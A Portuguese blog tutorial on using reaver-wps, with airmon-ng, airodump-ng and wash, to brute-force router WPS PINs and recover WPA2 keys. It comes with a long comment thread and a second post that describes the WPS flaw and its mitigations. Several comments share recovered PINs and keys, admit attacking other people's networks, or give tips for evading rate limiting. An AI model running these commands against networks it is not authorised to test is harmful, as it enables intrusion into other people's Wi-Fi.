Dê o comando “ifconfig” no terminal para saber que interfaces WiFi estão disponíveis. Elas serão listadas como “wlan0″, “wlan1″ e assim por diante.  Na maioria das vezes será “wlan0″, mas nem sempre. Por exemplo, meu notebook emachines tem um adaptador embutido que o Linux nomeou “wlan0″, mas que eu não posso usar porque a sequencia de teclas FN+F2 desse notebook não é reconhecida pelo Linux. Então eu tive que instalar um outro adaptador, que foi nomeado “wlan1″.Mas neste tutorial eu vou considerar o deafult: wlan0

sudo airmon-ng start wlan0

Preste atenção à resposta que esse comando dá. Ele dirá se está monitorando como “mon0″, “mon1″, etc”. No meu caso foi mon0 (mon-zero)

Agora você precisa saber qual o MAC da interface wireless (BSSID) do roteador que você deseja testar. Se você tem acesso ao roteador, basta entrar no seu setup e olhar isso (lembre-se: é o MAC da interface WIRELESS). Mas também é possível obter isso remotamente com o comando:

sudo airodump-ng mon0

O programa vai exibir uma lista de todas as redes ao alcance, atualizada em tempo real, com o BSSID (MAC) do lado esquerdo e o ESSID (o nome da rede) na outra extremidade. Exemplo abaixo.

Você também pode usar o programa wash, que vem com o reaver-wps. O programa tem a vantagem de só listar as redes que tem WPS habilitado (dica de tarcisiocjr):

sudo wash -i mon0 --ignore-fcs 


Quando tiver o BSSID da que você quer, termine o programa com CTRL-C.

Agora você está pronto para executar o reaver:

sudo reaver -i mon0 -b 00:00:00:00:00 -v

Onde 00:00:00:00:00 é o BSSID obtido no passo anterior

Após um ou dois minutos se auto ajustando, o reaver decidiu usar um intervalo de 4s entre tentativas. Agora aguarde enquanto ele faz sua “mágica”.

Extras

Para atualizar o reaver

Você deve fazer tudo de novo exceto o passo “instale as dependências”, mas mudando os comandos para bater com a nova versão.

Como testar mais de um roteador ao mesmo tempo

Basta instalar dois ou mais adaptadores WiFi compatíveis e abrir um terminal para cada um deles e repetir apenas os passos em “usando o reaver-wps”, ajustando os parâmetros “wlan” e “mon” de acordo. Eu testei com dois ao mesmo tempo, ligados a um hub USB.

E se eu tiver que parar o teste?

Não é problema. O reaver-wps grava tudo o que já fez e na próxima vez que você pedir para testar o mesmo BSSID ele vai se oferecer para continuar de onde parou. Você pode continuar (default) ou começar de novo.

Como saber se o WPS está ativo ou não?

No meu caso, quando eu desligo o WPS o reaver fica testando o PIN 1234567890 em loop

Créditos:

Meu tutorial se baseou neste, que está desatualizado (há uma versão mais nova do reaver) e incompleto (entre outras coisas não prevê a ausência de make numa instalação limpa do kubuntu)

VN:R_U [1.9.13_1145]
Rating: 5.0/5 (1 vote cast)
48 comentários
  • k-io

    belo post mas tenho uma pequena duvida. acho que o kubuntu não vem com aircrack e voce usou o airmon para modemon assim os menos experientes não vão entender como que se faz eu tive muita dificuldade na migração win/linux e sei o quanto é dificil quando não se tem uma base descente.
    falou novamente belo post

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Meu tutorial prevê isso. O aircrack é instalado naquele longo comando que instala dependências.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Eu vi mais de uma referência a baixar o reaver-wps do repositório debian usando o comando apt-get install reaver-wps, mas comigo sempre dá “Unable to locate package reaver-wps”. Ou é preciso acrescentar algum servidor à lista de repositórios ou o pacote existia mas foi retirado.

    Também é possível baixar um pacote .deb pronto daqui. Mas eu não testei e não estou certo de que facilitaria significativamente a instalação. Supostamente o pacote cuida automaticamente de instalar as dependências e fazer a compilação.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • tarcisiocjr

    Olá Ryan, eu não sou contra distribuir o conhecimento, muito pelo contrário, acompanho teus blog’s a anos, mas até que ponto é “saudável” publicar um tutorial tão mastigado que explora uma falha tão grave que afeta milhões de roteadores wireless pelo mundo?

    @Topic, junto ao reaver-wps existe um utilitário que busca nas redes wireless as que são afetadas por esse problema, chama-se wash. Se não me engano a sintaxe para utilizar é:

    wash -i mon0 

    VN:R_U [1.9.13_1145]
    Rating: 5.0/5 (1 vote cast)
    • A intenção do meu tutorial é ajudar pessoas bem intencionadas a determinar se seus roteadores são confiáveis, que é o que estou fazendo com o reaver. Desde que descobri sobre isso venho preocupado com a segurança dos meus clientes.

      Infelizmente, todo conhecimento pode ser usado para o bem ou para o mal. Eu acho que é mais importante cobrar um firmware atualizado dos fabricantes e divulgar o problema para que o máximo de roteadores com a falha tenham o WPS desativado ou saiam de circulação. Os fabricantes parecem estar “brincando de avestruz”, fazendo de conta que o problema não existe ou que não é sério, 50 dias após a publicação do boletim do CERT.

      Obrigado pela dica do wash. No meu caso eu tive que rodar assim:

      sudo wash -i mon0 --ignore-fcs
      VN:R_U [1.9.13_1145]
      Rating: 5.0/5 (1 vote cast)
  • Eugenio

    Bem fácil mesmo, qualquer macaco consegue digitar esses comandos no terminal. È uma vergonha vários fabricantes não terem ainda disponibilizado atualizações para essa brecha.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Eduardo Fagaraz

    Fiz alguns testes com o Reaver e fiquei impressionado com a falha do WPS. É muito simples descobrir a chave WPA2 com esse método, em apenas algumas horas está revelado. Tão ou mais fácil que descobrir uma chave WEP (que requer apenas um bom sniffer em conjunto com o aircrack), e muito mais simples que tentar quebrar uma chave WPA2 usando brute-force (montei um arquivo texto com mais de 2 gb com todos os dicionários do mundo, todas as combinações de datas e números além de milhares de nomes próprios), que pode levar vários dias ou semanas pra quebrar a chave.
    Algumas observações:

    * Se vc usar uma distribuição baseada no Ubuntu (eu uso o bactrack 5) basta usar a sintaxe “apt-get install reaver” pra instalar o Reaver e suas dependências.
    * O comando “reaver -i mon0 -b 00:00:00:00:00 -vv” mostra com mais detalhes a busca por cada um dos PINs, incluindo as tentativas de autenticação (dá pra entender melhor como funciona o processo).
    * Ryan, eu acredito que no seu caso foram 3 segundos pra cada PIN, e não 3 PINs por segundo. Fiz um teste com meu roteador (está ao lado do notebook com o backtrack) e foi 1 PIN a cada 3 segundos. Quando eu afastava o notebook do router e a potência do sinal caía ele subia pra 1 PIN a cada 5 segundos e 1 PIN a cada 8 segundos.

    * Meu router é o Siroco W301AR e permite desabilitar o WPS – coisa que fiz imediatamente ao perceber como foi fácil quebrar minha própria chave WPA2 em pouco mais de 4 horas.

     

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Se vc usar uma distribuição baseada no Ubuntu (eu uso o bactrack 5) basta usar a sintaxe “apt-get install reaver” pra instalar o Reaver e suas dependências.

      Como eu disse em outro post, o Ubuntu não tem o Reaver nos repositórios padrão. Testei de novo agora.

      E o Backtrack 5, até o dia dos meus testes, também não tinha.

      Ryan, eu acredito que no seu caso foram 3 segundos pra cada PIN, e não 3 PINs por segundo.

      Estou com dificuldade para achar onde foi que eu disse (ou insinuei) isso. Por favor cite o parágrafo.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Tailan

    Testei o Belkin F5D8236-4 v3000, com o firmware mais recente. Em um pouquinho menos de 5 h revelou a chave WPA2.
    Durante o teste, percebi que ao menos um dos LEDs dele se comportava como se o aparelho estivesse sobrecarregado (um LED que, dada a circunstância, deveria piscar num intervalo regular, mas ficou totalmente “louco”, fora de ritmo).
     

    Com o WPS desligado, o reaver ficava reportando “Failed to associate with [endereço MAC] (SSID)”.
     
     
    Outro modelo que testei foi o Sagemcom F@st 1704, cedido pela GVT (e, portanto, com firmware customizado por ela).
    Em cerca de 5 h 5 min revelou a chave WPA2.

    Com o WPS (que esse roteador chama também de “WSC”) desligado, o reaver não passou da fase “Waiting for beacon from [endereço MAC]“.
     
    Pelo menos desligar o WPS, em ambos os aparelhos, funciona.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Gabriel

    Boa noite. Primeiramente gostaria de dizer que meu interesse por tal procedimento eh profissional. Sou fanboy e defensor dos aparelhos da marca Billion, muita gente nao conhece, mas na minha opniao sao os melhores modem, aps, routers, voips e etc. Mas se comparado a algumas outras marcas tem um preco muito salgado! Por isso muitos clientes nao gostam dessa opcao.. Ja faz algum tempo que soube dessa falha no protocolo wpa, mas nunca tive problema com algo do tipo.. Ate a semana passada, que um cliente relatou certa lentidao na navegacao, ele possui um modem/router/ap da TP Link com seguranca wpa. Verifiquei problema na linha telefonica, rede e nada! Ate que achei um MAC estranho conectado no AP, kickei e fiz o bloqueio do MAC, ficou perfeito.. No outro dia, novamente mesmo problema, e agora com outro MAC.. A solucao na hora foi somente de “esconder” a SSID e permitir somente alguns MAC pre definidos. O problema eh que o cliente nao tem muito conhecimento pra “adicionar” outros MACs, e como ele ta sempre recebendo visita de fornecedores e vendedores que precisam de acesso a internet sempre acaba se enrolando e tendo que me chamar pra fazer o processo.. Atualmente troquei o TP Link dele por um Linksys WRT54G com fireware da DD-WRT(MEU XODO E FILHO UNICO), tem se mostrado “seguro”, so nao sei se eh realmente seguro ou o “hacker” desistiu. Agora quero pegar meu  Linksys de volta, mas nao sei o que fazer com o cliente, tenho medo de colocar um Billion de que tanto falo bem e o problema voltar. Procurei alguma atualizacao para o TP Link e nao achei nada que resolvesse esse problema, ja nos billion aparece que existe uma atualizacao que resolve.. Minha intencao em aprender a fazer esse processo eh: Fazer um teste com o Linksys WRT54G com fireware da DD-WRT. Fazer um teste com os meu APs da Billion antes e depois da atualizacao. Desculpa o falatorio, mas quiz me explicar antes de fazer qualquer pergunta.. Estou tendo problemas para instalar e usar esse reaver.. Nunca tive nenhuma experiencia com linux, nenhuma mesmo! Ja tentei fazer esses procedimentos no Ubuntu e no Kubuntu. Sempre da o mesmo problema.  Baixo e descompacto, ate ai tudo OK. 

    Nessa hora:sudo apt-get install libpcap-dev aircrack-ng sqlite3 libsqlite3-dev  <code>kubuntu@kubuntu:~/reaver-1.4/src$ sudo apt-get install libpcap-dev aircrack-ng sqlite3 libsqlite3-dev
    Reading package lists… Done
    Building dependency tree       
    Reading state information… Done
    Package aircrack-ng is not available, but is referred to by another package.
    This may mean that the package is missing, has been obsoleted, or
    is only available from another source
    However the following packages replace it:
      iw:i386 iw
     
    E: Package ‘aircrack-ng’ has no installation candidate</code>  

    Depois no:
    .configure
    <code>kubuntu@kubuntu:~/reaver-1.4/src$ ./configure
    checking for gcc… no
    checking for cc… no
    checking for cl.exe… no
    configure: error: in `/home/kubuntu/reaver-1.4/src’:
    configure: error: no acceptable C compiler found in $PATH
    See `config.log’ for more details.</code> 

    Se puderem me ajudar!! 

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Não tenho tempo para checar isso agora, mas eu suponho que seu primeiro problema se deva aos repositórios padrão das duas distros que você está usando não terem o aircrack-ng. Você precisa acrescentar um repositório que tenha.

      O segundo erro é causado possivelmente porque você fez uma instalação básica do Ubuntu/Kubuntu. Instalações básicas não incluem ferramentas de desenvolvimento, como compiladores. Eu não me lembro das opções que escolhi ao instalar o Ubuntu, mas verifique se essa opção de instalar os compiladores não está lá.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Gabriel

    Certo amigo.
    Obrigado por sua resposta..
    Tanto o Ubuntu como o Kubuntu são os baixados do site e ambos os sistemas.
    Teria que ser ua versão do ubuntu/kubuntu server pra ter essas ferramentas de desenvolvimento?
     
    Vou tentar reinstalar novamente pra ver se vejo alguma opção assim..

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Duff

    Pq quando dou o comando “tar -zxvf reaver-1.4.tar.gz” da o seguinte erro:

    gzip: stdin: not in gzip format
    tar: Child returned status 1
    tar: Exiting with failure status due to previous errors

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • cleverton

    bom dia jefferson pelo tutorial já tinha visto esse metodo…só tenho umas duvidas..
    é eu estou testando aqui em casa na wpa2 e deixei uma noite toda umas 12 horas praticamente
    e não obtive resultados minhas são as seguintes?
    1- quando e reaver está e modo captura é ele desconecta meu sinal wirells ficando reconectando enquanto executa, isso é normal?
    2- é demorado assim mesmo para quebra da chave ou depende do sinal, ou da vitima que o reaver espera a vitima conectar para captura a handshark e tenta quebra ela?
    3- como queu faço para voltar onde pare. exemplo tive que desligar o note e quando eu ligar o modo mon0 exemplo ele não estara mais habilitado, então como posso prosegui onde o reaver parou sem que ele começe do inicio…porque ele deve guardar essas informações capturadas em algum lugar…
    agradeço desde já
    abraços cleverton

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Fred

    Ola, amigos ja instalei o reaver 1.4 uso Ubuntu com pacote aircrack-ng instaldo tambem,
    Quando uso o reaver ele chega na parte que termina o seu processo e exibe a senha WAP PSK com um monde de algoritimos, ou seja não exibe a senha corretamente
    podem me ajudar, alguem ja passou por isso ?
    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [?] Restore previous session for 00:1D:1A:0A:D9:9E? [n/Y] y   
    [+] Restored previous session
    [+] Waiting for beacon from 00:1D:1A:0A:D9:9E
    [+] Associated with 00:1D:1A:0A:D9:9E (ESSID: Teste testn)
    [+] Trying pin 71633060
    [+] WPS PIN: ’71633060′
    [+] WPA PSK: ’7CDD8B85FDBE0A20ADC8C53AEEBFB06F6FF98086558FEF1DB0753F4AD7F8348D’
    [+] AP SSID: ‘Network-001d1a0ad99e’
    root@fred-Sansao:/home/fred#

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Eu acredito que esta é a senha, mas se você não sabe disso então está tentando invadir uma rede que não é sua, não é mesmo?

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Fred

    Bom Dia Jefferson,
    Essa e a minha mesmo que fiz para testar e no entando eu ja tentei invadir uma outra que não é a minha tambem apareceu um monte de algoritimos tambem da mesma forma que a minha e dai peguei mais uma e a mesma coisa para achar redes aqui com a opção habilitada uso o comando:
    wash -i mon0 –ignore-fcs
    Agora o que eu notei tambem que em todos quando fasso o processo novamente ele mostra os algoritimos da senha diferentes, então como ele muda se fosse a senha mesmo ele num poderia estar mudando a todo novo processo.
    Sera que é porque estou usando o Ubuntu teria que usar o bactrack 5 ?
    Bom hoje vou testar em uma nova rede aqui dai posto os resultados
    Obrigado pela atenção
    Abraços Fred

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Marcelo

    Tenho um problema com o meu router da ZON que quando meto a correr o reaver este não me procura os pins, apenas fica o inicial 12345670 e não prossegue para outro pin.. (estou a uns 30 cms do router se for relevante)

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Ramile

    O Reaver tá rodando aqui desde ontem a noite e o único output que eu recebo é “[!] WARNING: Detected AP rate limiting, waiting 630 seconds before re-checking”.
    Alguém pode me ajudar?

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • O roteador tem proteção contra ataque de força bruta. É como todo roteador deveria proceder.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Ricardo Dantas

     
    Tudo bom Jefferson!
     
    Meu nome é Ricardo,e recentemente li um tutorial seu  a respeito do ‘BLACTRACK” em  especial  sobre a ferramenta ‘REAVER”.
    Gostei muito e resolvi por em prática, instalei o BLACKTRACK 5r3 em uma máquina virtual vm ware no W7, no BLACKTRACK 5r3 já vem o REAVER,segui o passo a passo,mas quando dou  o comando :
    #reaver –i mon0 –b 7C:4F:B5:86:87:DC –vv
    Aparece o seguinte:
     [+] Waiting for beacon from 7C:4F:B5:86:87:DC
    [+] Switching mon0 to channel 1
    [+] Associated with 7C:4F:B5:86:87:DC (ESSID: HomeMNR)
    E não sai disso,já esperei horas e nada.
    Há vezes  aparece isso a baixo, e também não sai disso.
    WARNING: Failed to associate with 7C:4F:B5:86:87:DC(ESSID: HomeMNR)
    Já revirei toda a INTERNET procurando a solução, mais nada,se você pude me ajudar com alguma dica ,agradeço muito.
     
    Obrigado!
     

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Hugo

      Estou com o mesmo problema, mas não sei se isso quer dizer q meu roteador é seguro ou se é algum problema na execução do reaver…
      Existe algum tipo de comando paralelo para executar o reaver ou essa linha de comando é a unica possibilidade? (só com o monitor e o BSSID)
      De qualquer forma, estarei satisfeito se isso significar que ninguém mais vai conseguir invadir minha rede :)

      Informações adicionais:
      Sou leigo nesse tipo de assunto, mas estou sendo host para uma rede de amigos, num tipo improvisado de lan house com notebooks! Fiquei assustado quando um amigo me disse da possibilidade de alguém conseguir se juntar à minha conexão, bastando apenas estar no alcance do sinal do meu roteador, e desde então resolvi pesquisar a respeito.

      VA:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
    • ancarvalho

      Ricardo,
      vc conseguiu resolver esse problema do “WARNING: Failed to associate with 7C:4F:B5:86:87:DC(ESSID: HomeMNR)”

      estou com esse mesmo problema e não sei como resover

      obrigado

      VA:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • humbertode franAa santos

    Ola, parabens pelo tutorial, sou iniciante no linux e tentei no Ubunto baixado diretamente do Lili e nao consegui.
    Baixei o Kubunto e ta rodando em live aqui e ate agora esta dando tudo certo. Ele esta varrendo a minha rede da GVT e creio que em poucas horas ele acertara o PIN.
    Depois volto para publicar o resultaado.

    Tks

    VN:R_U [1.9.13_1145]
    Rating: 5.0/5 (1 vote cast)
  • hugop

    Ola a todos
    Primeiro de tudo, os meus parabéns pelo post.
    tenho as seguintes duvidas:
    - ao estar a utilizar o reaver podemos ao mesmo tempo estar ligados a outro router para utilizar a internet???
    - porque me aparece isto:
    “[+] 0.16% complete @ 2012-12-21 22:34:47 (50 seconds/pin)
    [+] Trying pin 00075671
    [+] Trying pin 00085670
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
    [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

    ha alguma maneira de evitar esta espera de 60 segundos???

    obrigado 

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Não. O roteador tem proteção contra ataques de força bruta. Ele age como todo roteador decente deveria.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • mafeaa

        Amigo o Reaver ta me trazendo essa resposta: [!] WARNING: Detected AP rate limiting, waiting 300 seconds before re-checking como voce falou é porque o roteador tem proteçãocerto? mas mesmo com essa proteção ele vai continuar tentando e vai consguir? ou quando ele da esse aviso é porque não existe mais possibilidade?
        Coloquei pra quebrar minha senha wifi so com letras e numeros e ficou dando esse aviso na tela. Se por acaso tiver uma wordlist so de letras e numeros e puder me enviar eu agradeço quero testar novamente agora com força bruta.
        Obrigado.
        mafeaa – mafeaa@hotmail.com
         
         

        VA:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
  • Joshi

    “# sudo airmon-ng start eth0

    Found 1 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to kill (some of) them!

    PID Name
    686 dhclient3

    Interface Chipset Driver

    o meu so aparece isso alguem pode me ajduar ? acho que nao identificou minha placa wireless. como que eu instalo ela no backtrack5 r3?

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Marlonbt#

      Roda o sistema em um Live CD ..usa o backtrack 5r3 que é o que eu uso. Pois se vc estiver tentando fazer esse processo em uma maquina virtual provavelmente nao vai conseguir pois nao eh possivel reconhecer sua placa wireless dependendo do Sistema Operacional. espero ter ajudado.

      VA:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • [...] ver um tutorial mais explicado, CLIQUE AQUI Gostar disso:GosteiSeja o primeiro a gostar [...]

  • Egno

    Ola fiz tudo certo , mais depois de um tempo aparece isto:WARNING: Receive timeout occurred
    [+] Sending EAPOL START request
    Poderia me dar uma força .
    obrigado

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Segundo rápida pesquisa que fiz isso pode acontecer por diversas razões, sendo a mais provável o roteador não suportar WPS. Também pode ser porque você está muito longe dele ou por bug.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • Egno

        Não ,o sinal nao é, ele do meu amigo Everton ele esta no ap de cima sinal fica com 3 level  e wps esta NO com o comando wash -i mon0 –ignore-fcs esto NO ……………e alguem puder me ajudar agradeço.


        Valeu Jeferson seu tuto ajudou muito

        VA:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
  • Ricardo

    teoricamente os rooters estariam menos vulneráveis tentando proteções desses ataques.
    Mas la vem o hack novamente a tentar evitar isso.

    tenta-se assim de outras maneiras para os que perecem seguros:

    aireplay-ng mon0 -1 120-a 00:00:00:00:00:00-e FUBAR
    reaver-i mon0-A-b 00:00:00:00:00:00-v

    e outras tentativas com -d definido de 0 a 1

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Edu

    E possivel iniciar a busca do PIN por um numero especifico, como o do proprio roteador?
    Iniciando sempre com muito zeros no inicio deixa a pesquisa onerosa!
    Ficou otimo o seu post, parabens!!

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Fisher

    Ola com seu tutorial o que consegui foi isso

    [+] Pin cracked in 9320 seconds
    [+] WPS PIN: ’20676728′
    [+] WPA PSK: ’39e0658fbf561f78e6d05c2202ad69ca09d13c55a871736a47f407cabaa64745′
    [+] AP SSID: ‘Multilaser_WS01′

    Porem não consigo me conectar, é o roteador do meu irmão e uma terceira pessoa colocou a senha e apostamos quem se conecta primeiro.

    Sabe o que posso fazer pra conseguir a senha ?

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • vitor

    sudo reaver -i mon0 -b 00:00:00:00:00 -e (nome da rede) -vv
    tentem assimque da

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Marcelo Leifeld

    Bom dia! Jefferson, estou com dois problemas.O Reaver começa do 90% e quando chega no 100% ele para de fazer a busca.No outro caso ele associa e não vai mais pra frente.Obrigado

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • anonymous

    Muito bom esse tutorial descobri que erro “Detected AP rate limiting, waiting 60 seconds before re-checking” proteção roteador mas tem outro problema reaver fica buscando channel testa todos e nao sai disso usando comando wash não apareceu nenhuma rede não possui nenhuma rede com wps ou reaver se ajustando.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Rafael venquiaruti

      Essa falha é antiga e o roteador que usaste para fazer este teste de penetração tem um dispositivo para evitar o ataque por força bruta.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Parabens. Otimo conteudo de aprendizado. Ja uso o linux e tenho
    O kali linux instalado duool boot.
    Estou aprendendo sobre testes de suguranca, mas fazendo
    Este teste exibe sempre Receive timeout occurred e ja esta em
    99,99%. Como resolvo e porque esta ocorrendo isso?
    O reatante do processo todo ocorreu como descrito.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • VEIZINHO

    O pessoal acaba sempre descobrindo uma maneira de quebrar as proteções.

    E só existe esta forma de se obter a senha?
    Só existe usando a bruta força?

    Alguém já viu falar de outra(s) maneira(s) de burlar isso?
    É bom saber de todas as possibilidades para nos prevenir.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • EvanHAcker

    Para quem está com problema do roteador “ser protegido” contra “ataques brutos” aparecendo a mensagem “detected ap rate limiting…” tente o seguinte comando …

    comigo deu certo ;)

    # reaver -i -b -vv -L

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • EvanHAcker

      # reaver -i Mon device -b BSSID -vv -L

      VA:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • EvanHAcker

        Acrescente -L no final… apenas isso 

        VA:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.

Descoberto mais um modo de se invadir uma rede wireless

Normalmente, basta que o roteador suporte WPS.

A vulnerabilidade foi publicada no final de dezembro. Todo roteador que tem aquele botãozinho rotulado “WPS” deve ser considerado vulnerável e precisa ser verificado. O problema consiste numa série de falhas:

  • Todo roteador que suporta WPS suporta autenticação por PIN, que é um número impresso em uma etiqueta no fundo do roteador;
  • A autenticação por PIN não requer que você aperte o botão. Ter o PIN é mais ou menos o mesmo que ter a senha WPA/WPA2;
  • Adivinhar remotamente o PIN (“pelo ar”), devido a uma falha grosseira no protocolo, requer apenas 11 mil tentativas (se fosse corretamente implementado, seriam 10 milhões);
  • Muitos firmwares não tem bloqueio automático em caso de sucessivas tentativas erradas. Isso permite que qualquer roteador comprometido seja invadido em 10 horas ou menos. Alguns em 30 minutos;

Como se proteger:

  • Desativar a função WPS, se possível (preferível);
  • Verificar se existe um novo firmware que bloqueie o WPS em caso de erros sucessivos. Na minha opinião, só é razoavelmente  seguro se após 3 tentativas o WPS ficar bloqueado até um reboot no roteador;

A julgar pela descrição do problema, usar WPS pode ser tão ou mais perigoso quanto usar criptografia WEP.

VN:R_U [1.9.13_1145]
Rating: 0.0/5 (0 votes cast)
29 comentários
  • O que é ainda mais preocupante nessa falha é que faz parte do funcionamento do WPS revelar a senha de rede ao dispositivo que apresenta o PIN. Assim o atacante não apenas “entra” na rede. Ele fica de posse da senha que você usa! É melhor que não seja uma senha que você usa em muitos lugares.

    Então, após resolver o problema com o WPS, é importante também mudar a senha WPA/WPA2.

    Também é importante resetar o roteador para as configurações de fábrica. Qualquer um que tenha invadido sua rede pode ter feito configurações indesejáveis nele. A mais perigosa delas é o “DNS poisoning” (apontar os servidores DNS para servidores malignos).

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Também é importante resetar o roteador para as configurações de fábrica. Qualquer um que tenha invadido sua rede pode ter feito configurações indesejáveis nele. A mais perigosa delas é o “DNS poisoning” (apontar os servidores DNS para servidores malignos).

      Fui alarmista demais. Isso só é necessário se a senha de administração do roteador ainda for a default ou for igual à senha wireless. Deixar o roteador com a senha default é um grande não-não de qualquer forma.
       

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • Uma questão interessante. Como que fica isso em roteadores que tiveram seu firmware trocado pelo DD-WRT por exemplo? Em casa eu tenho um dlink DIR-300 que troquei o firmware podre dele pelo DD-WRT, mas não me lembro se o botão WPS continua tendo sua função padrão. :huh:

        VN:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
        • Segundo mais de uma fonte, o DD-WRT não suporta WPS, por isso qualquer aparelho com ele instalado está seguro.

          VN:R_U [1.9.13_1145]
          Rating: 5.0/5 (1 vote cast)
  • Basicamente por apreciar “ver por onde ando e o que estou fazendo” eu nunca usei essa facilidade do PIN e só usei o WPS por botão umas três vezes no máximo e só para instalar impressoras wireless. Talvez por isso eu nunca me perguntei como isso poderia ser seguro. Segundo a especificação, depois de apertar o botão o outro dispositivo tem dois minutos para fazer a conexão. Agora que eu vejo a implementação burra que fizeram na autenticação por PIN eu me pergunto:  se no momento em que eu estiver instalando um dispositivo via botão alguém estiver nas proximidades rodando um programa mandando “pings” periódicos esperando por isso, ele não vai aproveitar a oportunidade e conseguir conexão? Se alguém me fizesse essa pergunta ontem eu diria: os projetistas não são tão burros: eles devem detectar os “pings” marcar o dispositivo como hostil e bloquear seu acesso.

    Agora eu não estou tão certo disso.

     

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • A principal razão para isso não ter sido largamente explorado ainda nesses 40 dias é que a única ferramenta pública (até onde sei), é o reaver-wps, que só existe para Linux. E como executável mesmo só como um pacote debian.

    Mas como todo o código fonte está disponível, é só uma questão de tempo até aparecerem versões para Windows, Android, iOS… Se bem que elas serão rapidamente deletadas das “lojas” da Google e da Apple.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Aparentemente o modo mais fácil para um usuário Windows testar essa vulnerabilidade é usando o live DVD da distro Backtrack. Embora o pacote esteja disponível para qualquer distro Debian como o Ubuntu, parece que existem outros requerimentos. O Reaver já foi até incluído na distro, mas não na versão que podemos baixar hoje, então ainda é necessário fazer um apt-get para instalar o reaver e isso será perdido toda vez que você reiniciar o PC.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • E aqui temos uma planilha com uma lista de 125 roteadores testados. Mas o autor avisa que os resultados são submetidos pelo público e não podem ser confirmados por ele. Só deve ser usada como referência.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • José Carneiro

    Jefferson, valeu pela dica, meu roteador tem esse serviço, não está habilitado, mas tem.
    Vou passar essas informações para o pessoal do trabalho.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Segundo a planilha, em todos os TP-Link quando o WPS é desabilitado fica mesmo desabilitado. Mas ainda assim um dos testadores disse que o Reaver conseguiu obter o PIN O_o

      Isso precisa ser testado caso a caso, infelizmente.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Outra indicação chocante de que a irresponsabilidade dos fabricantes vinha passando despercebida: segundo comentários deste post do hack-a-day, um grande número de roteadores tem como PIN default 12345670.

